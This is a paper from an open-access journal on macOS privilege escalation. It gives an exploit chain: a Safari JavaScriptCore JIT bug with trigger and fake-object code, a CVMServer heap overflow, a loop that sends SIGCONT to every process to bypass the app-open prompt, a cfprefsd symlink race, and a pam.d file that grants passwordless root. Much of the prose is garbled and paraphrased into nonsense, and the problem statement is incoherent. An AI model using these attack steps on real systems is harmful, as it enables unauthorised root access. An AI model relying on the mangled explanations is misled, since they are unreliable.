JETIR.ORG ISSN: 2349-5162 | ESTD Year : 2014 | Monthly Issue

JOURNAL OF EMERGING TECHNOLOGIES AND INNOVATIVE RESEARCH (JETIR)

An International Scholarly Open Access, Peer-reviewed, Refereed Journal

macOS Privilege Escalation: Kernel Weaponizing

[1]Samuel Prem [1]Dr. Subhadra K

[1]M. Tech Scholar [2]Associate Professor-PHD

[1]Department of Computer Science Engineering,
[1]Gitam University, Visakhapatnam, India

Abstract: **Exploiting the macOS System architecture and Kernel. Here we learn how vulnerabilities in Kernel lead to local privilege escalation from guest user to root user; various types of vulnerabilities that affect the Kernel in handling the memory address are also leaking the arbitrary code for an unprivileged user. Many vulnerabilities found in the Kernel are explained and demonstrated.**

[1]*IndexTerms* - *macOS, kernel privilege, sandbox, calculator exploits*.

I. INTRODUCTION

In this, we dive deep into the macOS system architecture for a better understanding. After understanding the components and the system tools, we can get to know every execution that is taking place on the mac. Analyzing the processes, it is found that the Kernel uses the cfprefsd. Without re-exploiting the Kernel twice, native code execution outside the sandbox is achieved. Such flaws often involve a multi-stage chain across several components that do not usually have connections, making them hard to spot, not to mention the impossibility of fuzz. They do not require a single byte of memory corruption, so all the state-of-the-art memory safety mitigations do not stop them.

1.1 The xnu Kernel

The macintosh OS X kernel is named xnu. Within the simplest sense, xnu may well be viewed as having a Mach-based core, a BSD-based software system temperament, associated an object-oriented runtime surroundings for drivers[7] and different kernel extensions. The physicist|physicist|philosopher} element relies on Mach three, whereas the BSD element relies on FreeBSD five. A running kernel contains varied drivers that don't reside within the xnu code base however have their own Darwin packages. In this sense, the macintosh OS X kernel is "more than" xnu. However, can|we'll|we are going to} sometimes not build distinctions supported packagingwe will use the term "xnu" to visit the mix of the bottom Kernel (as enforced within the xnu Darwin package) and every one kernel extensions. With this understanding, we are able to divide the macintosh OS X kernel into the subsequent components:

[7] A driver may be a specific sort of kernel extension.

Mach the services layer

BSD the primary system programming interface supplier

The I/O Kitthe runtime surroundings for drivers

libkernan in-kernel library

libsaan in-kernel library that's ordinarily used solely throughout early system startup

The Platform Expertthe hardware abstraction module[8]

[8] The Platform skilled consists of support code within the base kernel and a platform-specific kernel

extension.

Kernel extensionsvarious I/O Kit families, the bulk of loadable

device drivers, and a few non-I/O Kit extensions

The Darwin xnu package consists of roughly 1,000,000 lines of code, of that concerning [*fr1] may well be classified below BSD and a 3rd below Mach. the varied kernel extensions, not all of that area unit required (or loaded) on a given system, along represent another million lines of code.

The variety of kernel extensions loaded at any time on a given system is considerably but the overall number of kernel extensions gift on the system. The kextstat command will be wont to list the presently loaded kernel extensions. The SystemLibrary/Extensions/ directory is that the commonplace location of kernel extensions.Launching the Kernel

```
$ <span class="docEmphStrong">file mach_kernel<span>

/mach_kernel: Mach-O executable ppc

$ <span class="docEmphStrong">otool -hv

mach_kernel<span> /mach_kernel: Mach header

magic cputype cpusubtype filetype ncmds sizeofcmds flags

MH_MAGIC PPC ALL EXECUTE 9 2360 NOUNDEFS

$ <span class="docEmphStrong">otool -l mach_kernel<span>

/mach_kernel: Load command 0

cmd LC_SEGMENT

cmdsize 532 segname __TEXT vmaddr 0x0000e000 vmsize 0x0034f000

...

Load command 6

cmd LC_SEGMENT cmdsize 128

segname __VECTORS vmaddr 0x00000000 vmsize 0x00007000 fileoff 3624987

filesize 28672

maxprot 0x0000009

initprot 0x000000044

nsects 12

flags 0x1 Section

sectname __interrupts segname __VECTORS addr 0x00000000

size 0x00007000 offset 3624960

align 2^12 (4096) reloff 0

nreloc 0

flags 0x00000000

reserved1 0 reserved2 0 ...
```

```
Load command 8

cmd LC_UNIXTHREAD

cmdsize 176

flavor PPC_THREAD_STATE

count PPC_THREAD_STATE_COUNT

... srr0 0x00092340 srr1 0x00000000

$ <span class="docEmphStrong">nm /mach_kernel | grep 00092340</span>
```

00092340 T __start

```
$ <span class="docEmphStrong">sudo BootCacheControl -f vardb/BootCache.playlist print</span>

512-byte blocks 143360 4096 2932736 4096
```

3416064 4096

```
...

122967457792 512 prefetch 122967576576 4096 122967666688 4096 122967826432 4096 122968137728 4096
```

94562816 blocks

```
$ <span class="docEmphStrong">sudo BootCacheControl statistics</span>

block size 512

initiated reads 2823

blocks read 176412

...

extents in cache 1887 extent lookups 4867

extent hits 4557

extent hit ratio 93.63%

hits not fulfilled 0

blocks requested 167305 blocks hit 158456

blocks discarded by write 0

block hit ratio 94.71% ...
```

The __common section in the __DATA segment has its alignment set to 0x1000 (4096 bytes).

The _+bss section in the __DATA segment has its alignment set to 0x1000 (4096 bytes).

A __text section is created (with the contents of *dev*nulli.e., with no contents) in the __PRELINK segment. Similarly, sections __symtab and __info are created from *dev*null in the __PRELINK segment.

1.2 Exceptions and Exception Vectors

The _ + VECTORS segment contains the kernel exception vector. As we saw in BootX, start with the address and copy these to the desired location 0x0780before calling the Kernel. The vectors are implemented in osfmk/ppc/lowmem_vectors.s.It has an overview of PowerPC exceptions, most of which are subject to one or more conditions. For example, exceptions caused by failed effective-to- virtual address translations occur in and only if address translation is enabled. Moreover, most of the exceptions can occur only when no higher-priority exception exists.

Most of the hardware exceptions in the Mac OS X kernel are channeled through a common exception handling routine: exception_entry(0x00) [osfmk/ppc/lowmem+vectors.s]. The designated of the exception handler saves GPR13 and GPR12, sets a "rupt" code in GPR17, and Jumps to
exception_entry. For example, the following is the exception handler for T_INSTRUCTION_ACCESS:
. = 0x800
.L_handler400:
mtsprg 2,r15 **; Save R13** mtsprg 3, **r11; Save R11**
li r11, T_INSTRUCTION_ACCESS**; Set trap code** b.L_exception_entry**; join together**

Note that some of the exceptions in Table 51 may not matter, depending on the hardware used, if the kernel is being debugged, and other factors.

Run Kernel Run

EXECUTE

3 816 N

O

m .

II. LITERATURE SURVEY

I. In CVE-2020-27930, A memory corruption issue was addressed with improved input validation. This issue is fixed in macOS Big Sur 11.0.1
II. In CVE-2020-9882 A buffer overflow issue was addressed with improved memory handling; processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution.
III. In CVE-2020-9864 A logic issue was addressed with improved restrictions. This issue is fixed in macOS. An application may be able to execute arbitrary code with kernel privileges.

III. PROBLEM STATEMENT

To find the JIT bug that is present in the java environment variable of the macOS kernel and weaponize it to disable the SIP (System Integrity Protection) and to escalate from Guest user to root user.
The problems addressed in the memory heap address in the x86 intel processor, which is binding by the SIP module and T1 security chip. The
T1 security chip is unauthenticated with the Kernel so thereby resulting in a vulnerable state for exploitation.

IV. PROPOSED SYSTEM

4.1 Vulnerabilities in Kernel

Remote code execution in Safari in JavaScriptCore DFG compiler

Root cause analysis

In JavaScriptCore, when an indexed property was questioned with 'in' administrator, the DFG compiler expects that it is sans aftereffect except if there is a proxy object in its model chain that can intercept this activity. JavaScriptCore marks an item that can intercept this indexed property access using the banner called 'MayHaveIndexedAccessors .'This banner is expressly set apart for the Proxy object.

```
0 in []//secondary effect freelet arr = [];arr.__proto__ = new Proxy({}, {});0 in arr//can cause secondary effect!
```

In any case, there is another item that can cause incidental effect: JSHTMLEmbedElement that carries out its own getOwnPropertySlot() strategy. One method for setting off JavaScript callbacks (i.e., secondary effects) with 'in' administrator is utilizing <embed> component with PDF module; when any property is questioned on install/object tag is DOM object, it attempts to stack the supported module, and DOMSubtreeModified occasion controller can be brought in PDF module's case since it utilizes appendChild strategy on the body component.

Stack hint of calling the secondary effect from getOwnPropertySlot().

```
Stack follow #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20
```

```
0x1e946dd6c in llint_slow_path_get_by_id
(.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)
```

Since any articles in the model chain are not set apart with "MayHaveIndexedAccessors," JIT expects that this utilization of the 'in' administrator has no changes inside, killing the exhibit type checks after the progress.

```
// In the edge of <iframe src="...pdf"></iframe>function opt(arr) {arr[0] = 1.1;100 in arr;//100 not exists in arr, making it check
__proto__return arr[0]}for(var I = 0; I < 10000; i++) opt([1.1])arr.__proto__ =
document.querySelector('embed')document.body.addEventListener('DOMSubtreeModified', () => {arr[0] =
{}})document.body.removeChild(embed)opt([1.1])//spills address of {} as twofold worth
```

By building addrof/fakeobj crude, we could make inconsistent RW crude to get code execution with the JIT-accumulated JavaScript work.

4.2 Abuse

Subsequent to getting addrof/fakeobj natives, we convert them to more steady addrof/fakeobj natives by faking an article.

```
hostObj = {//hostObj.structureId//hostObj.butterfly _: 1.1,//faker length: (new Int64('0x4141414141414141')).asDouble(),// - >
fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) id: (new Int64('0x0108191700000000')).asJSValue(), butterfly: invalid, o:
{}, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9,//Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31,
a:0, b:0, c:0, d:0, e:0, f:0,//Padding (offset: 0x48) identifier: invalid } },// - > fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40)
strlen_or_id: (new Int64('0x10')).asDouble(),//String.size target:
hostObj//String.data_ptr}hostObj.executable.unlinkedExecutable.identifier =
fakeIdentifierFunction.prototype.toString(fakeHostObj)//work [leaked-structure-id]() { [native code] }
```

We release the design id of the hostObj by making the phony capacity object fakeHostObj and calling Function.prototype.toString on it. The name of the Function mirrors the design id esteem as an UTF-16 string. We update the hostObj in the wake of releasing the design id. It is important that this technique is from Yong Wang's Blackhat EU 2019 talk.

```
hostObj = {                        // hostObj.structureId                    //
        hostObj.butterfly    _: 1.1,                   // dummy    length: (new
Int64('0x4141414141414141')).asDouble(),              // -> fakeHostObj = fakeObj(addressOf(hostObj)
    + 0x29)    id: leakStructureId.asDouble(),          // fakeHostObj.structureId    butterfly:
          fakeHostObj,                 // fakeHostObj.butterfly    o: {},    ...}
Now we have fakeHostObj's butterfly pointing fakeHostObj itself. We can use addrof/fakeobj primitive without triggering the
bug again since we can access hostObj.o as JSValue or as double using fakeHostObj[2].
```

We can craft objects like below by using leaked structure id of attackObj and addrof/fakeobj primitive.

```
rwObj = {                     // rwObj.structureId                          // rwObj.butterfly    _:
              1.1,                        // dummy    length: (new
Int64('0x4141414141414141')).asDouble(),                   // fakeRwObj = fakeObj(addressOf(rwObj) +
0x20)    id: leakStructureId.asDouble(),//fakeHostObj.structureId butterfly: fakeHostObj,//fakeHostObj.butterfly o: {}, ...}
Presently we have fakeHostObj's butterfly pointing fakeHostObj itself. We can utilize addrof/fakeobj crude without setting off
the bug again since we can get to hostObj.o as JSValue or as twofold utilizing fakeHostObj[2].

We can create objects like underneath by utilizing spilled structure id of attackObj and addrof/fakeobj crude.
rwObj = {//rwObj.structureId//rwObj.butterfly _: 1.1,//sham length: (new Int64('0x4141414141414141')).asDouble(),//fakeRwObj
= fakeObj(addressOf(rwObj) + 0x20) id: leakStructureId.asDouble(),//fakeRwObj.structureId butterfly:
fakeRwObj,//fakeRwObj.butterfly __: 1.1,//faker innerLength: (new Int64('0x4141414141414141')).asDouble(),//fakeInnerObj =
fakeObj(addressOf(rwObj) + 0x40) innerId: leakStructureId.asDouble(),//fakeInnerObj.structureId innerButterfly:
fakeInnerObj,//fakeInnerObj.butterfly}
```

We can get erratic RW crude utilizing the fakeRwObj to refresh fakeInnerObj's butterfly pointer and read/compose from/to fakeInnerObj. To get RCE from erratic RW crude, we trigger the JIT accumulation of the fake capacity, release the code address, overwrite it with our shellcode. Some of the time, code address spill comes up short since we can't peruse/compose specific qualities from our phony exhibit. All things considered, we attempt to estimated it by perusing from pointer area + 1 and moving the read esteem. At long last, we overwrite the code pointer of the alarm capacity to our spurious capacity code pointer and call it (for certain contentions) to execute the shellcode.

4.3 Inconsistent .application sending off in Safari by means of representative connection in didFailProvisionalLoad()

For record://URL, Safari opens Finder window with [NSWorkspace selectFile:inFileViewerRootedAtPath:]. This capacity acknowledges two boundaries, and generally speaking, Safari just purposes the main boundary, which shows the organizer containing the predefined record. Be that as it may, assuming the subsequent boundary is utilized all things being equal, the Finder dispatches the document assuming it is executable or an application pack.
Safari utilizes the subsequent boundary in the wake of affirming that the sharp way isn't application group - - - index with .application postfix. Since a representative connection can highlight the application pack, however this isn't a catalog with

a .application addition. Subsequently, Safari will send off the application pointed by the representative connection. This code way can be set off by sending didFailProvisionalLoad() IPC message.
Nonetheless, Safari itself can't make an emblematic connection because of the framework call channel of the Seatbelt sandbox. So we utilize another weakness that gives root, however sandboxed code execution.

4.4 Inconsistent code execution in CVM (Core Virtual Machine) Service by means of a stack flood

There is a sandboxed XPC administration named com. apple.cvmsServ (for example CVMServer), which assembles shader for different designs. It is essential for worked in OpenGL
structure.

For demands with the "message" field set to 4, CVMServer parses client determined "system information" and "guides". The "maps" information document is situated at
"/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps" - first %s
is client determined with next to no channels. So catalog crossing is potential; we can cause it to parse the record made inside the Safari's sandbox.

```
Document *fp = fopen(&framework_name_, "r"); ... Header *header = malloc(0x50); fread(header, 0x50, 1, v132); ...
items_offset = header->items_offset; items_count = header->items_count; header = realloc(header, 56 * items_count +
items_offset); fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132);
```

If item_count * 56 + items_offset <= 0x50, fread() will get underflowed length close 2^64, so it becomes load flood with erratic length payload. Note that fread() stops when the finish of determined record is reached.
By using this, we could overwrite the stack object connected with association, which could adjust the pointers referenced underneath:

```
case 7://"message" == 7 v34 = xpc_dictionary_get_uint64(input, "heap_index"); v11 =
cvmsServerServiceGetMemory(a1a->session, v34, &port, &size); if ( v11 ) goto mistake; xpc_dictionary_set_mach_send(reply,
"vm_port", port);__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 file, _DWORD *port,
_QWORD *a4){ Pool *pool;//rax unsigned int v7;//ebx heapitem *v8;//rax pthread_mutex_lock((&server_globals +
2));//a1->attachedService is controlled worth pool = a1->attachedService->context->pool_ptr; v7 = 521; if
( pool->pointersCount > list ) { v8 = pool->pointers; *port = v8[index].port; *a4 = v8[index].size; v7 = 0; }
pthread_mutex_unlock((&server_globals + 2)); return v7;}
```

On the off chance that the "port" esteem is 0x103 (TASK-SELF), the assistance will concede the client the send right of CVMServer's undertaking port, which can be utilized to apportion memory and execute erratic code on the cycle. To make v8[index].port == 0x103, we looked through the library region's memory, which has similar addresses across the cycles.
rax := UserInput[rax+0x38] = X[X+0x30] = Length (UINT64_MAX)[X+0x28] = Y (0)[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)
There were numerous regions that had two 64-cycle whole number worth 0, - 1, and for rax+0x38 and X+0x30, we found that _xpc_error_termination_imminent, which is public image, fulfills this condition. Since length is bigger than 2^64/0x10, we could compute measured opposite to point Y(==0)*0x18+index+0x10 == &0x103.
Since CVMServer had com.apple.security.cs.allow-jit set, we could call mmap with MAP_JIT banner and summon our intelligent loader to execute dylib documents on the interaction. We ran this code on CVMServer:
// In/var/db/CVMS (writable envelope) roast randbuf[0x1000]; sprintf(randbuf, "%lu.app", clock()); symlink(randbuf, "my.app");//Create a legitimate application at my.app
In the wake of making %lu.app and representative connection my. application, we got back to Safari and sent the IPC message to open the application. By the by, there were two additional insurances: quarantine check and opening-the-application interestingly check.

4.5 Application insurance sidestep

Assuming that Safari attempts to execute an application interestingly, Safari denies its execution assuming that the document has a property called com.apple.quarantine or sits tight for a client's affirmation. All documents made by WebProcess have the property - - - com. apple.quarantine, However, we as of now can sidestep this since we made the envelope in the CVMServer interaction, not in WebProcess. For the client's affirmation, macOS first makes the interaction, suspends it, and proceeds with the cycle after the client taps the Open button. Nonetheless, conveying SIGCONT message filled in as same as tapping the button.
Consequently, we ran this code persistently in CVMServer in the wake of making my.app:

```
for(int I = 0; I < 65536; i++) kill(i, SIGCONT);
```

4.6 Root honor acceleration in cfprefsd by means of erratic record/envelope consent change brought about by a race condition

cfprefsd is another XPC administration that permits a client to make plist document. It is situated at CoreFoundation and is reachable from most unsandboxed processes. Since we previously got unsandboxed honor for a normal client (i.e., CVMServer), we can demand it to make plist document assuming the objective organizer and record have adequate authorization bits that permit the client to keep in touch with the record. In any case, in the event that the envelope doesn't exist, it makes the organizer of the plist document recursively.
Here is a code bit from CVMServer that makes the organizer.

```
__CFPrefsCreatePreferencesDirectory(path) { for(slice in path.split("/")) { mongrel += cut if(!mkdir(cur, 0777) || errno in
(EEXIST, EISDIR)) { chmod(cur, perm) chown(cur, client_id, client_group) } else break }}
```

Be that as it may, assuming a way focuses client writable catalog, a client can supplant the index pointed by a mongrel and supplant it with a representative connect to an erratic document/envelope. Since cfprefsd has root honor, it is feasible to change the proprietor of the organizers like/and so on/pam.d. By changing the proprietor of/and so forth/pam.d, we can compose/and so on/pam.d/login with the
substance beneath:

```
auth discretionary pam_permit.soauth discretionary pam_permit.soauth discretionary pam_permit.soauth required
pam_permit.soaccount required pam_permit.soaccount required pam_permit.sopassword required pam_permit.sosession required
pam_permit.sosession required pam_permit.sosession discretionary pam_permit.so
```

Then, at that point, login root order will give the client root shell with next to no confirmation.

4.7 Portion honor acceleration involving module arranging sidestep and race condition in kextload

kextload is one of the projects that can perform kext (Kernel Extension) activities in macOS. By running kextload [path of .kext folder], a root client can stack a marked kext from client mode. To forestall unsigned or invalid marked kexts, kextload sets the' authenticator' callback in the IOKitUser bundle. Sadly, the way of the kext is the main accessible asset for the callback; race condition is difficult to forestall. To alleviate this, kextload first duplicates the kext envelope into the devoted space - - /Library/StagedExtensions - - - which can't be changed even with root
honor because of SIP and the privilege component.
kextload

```
fills in as follows. Assuming that we execute kextload/tmp/A.kext, kext
load duplicates the first

kext envelope to/Library/StagedExtensions/tmp/[UUID].kext
```

Then, at that point, kextload actually looks at the sign**.**

V. RESEARCH METHODOLOGY

The **cfprefsd** process the main element responsible for setting preferences. There usually are two instances running, one responsible for setting preferences for applications that run with standard user privileges and one running as root, which is responsible for setting system-wide preferences. Any process can open any of the two **cfprefsd** processes can be accessed using XPC.
The original weakness allowed an attacker to utilise symbolic links to set user ownership on custom directories by communicating with the global cfprefsd daemon, which runs as root. This was possible when the **cfprefsd** daemon used the CFPrefsCreatePreferences**Directory Function to create the preferences file directory**.
As a result of this assault, the **cfprefsd** daemon, which runs as root, will get an XPC message. The service name **com.apple.cfprefsd.daemon** identifies **it. (Com.apple.cfprefsd.agent** is the user-mode daemon's name.) The daemon will make a folder called **/usr/local/etc/periodic/daily/** and then write our script to it, which will run **touch /Library/privesc.txt**. **gcc -framework Foundation cfprefsd exploit.m -o cfprefsd exploit** can be used to compile the code

VI. CONCLUSION

cfprefsd s still used to create arbitrary directories in arbitrary locationsas any other user We can use this to write arbitrary scripts that will be executed as root later. Using periodic scripts is simply one way to exploit this flaw; there may be more ways to achieve the same result. The macOS kernel has the potential to be an attacker at a far deeper level than the WebKit or JIT used in application processes.

REFERENCES

1. macOS Security & Privilege Escalation - HackTricks. https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation
2. https://lapcatsoftware.com/articles/sandbox-escape.html Mac sandbox escape
3. Cross site-scripting - https://en.wikipedia.org/wiki/Cross- site_scripting
4. https://bugs.chromium.org/p/project-zero/issues/detail?id=1040
5. https://www.blackhat.com/eu-20/briefings/schedule/#cross-site- escape-pwning-macos-safari-sandbox-the-unusual-way-21133.
6. macOS internals – System Approach – Amit Singh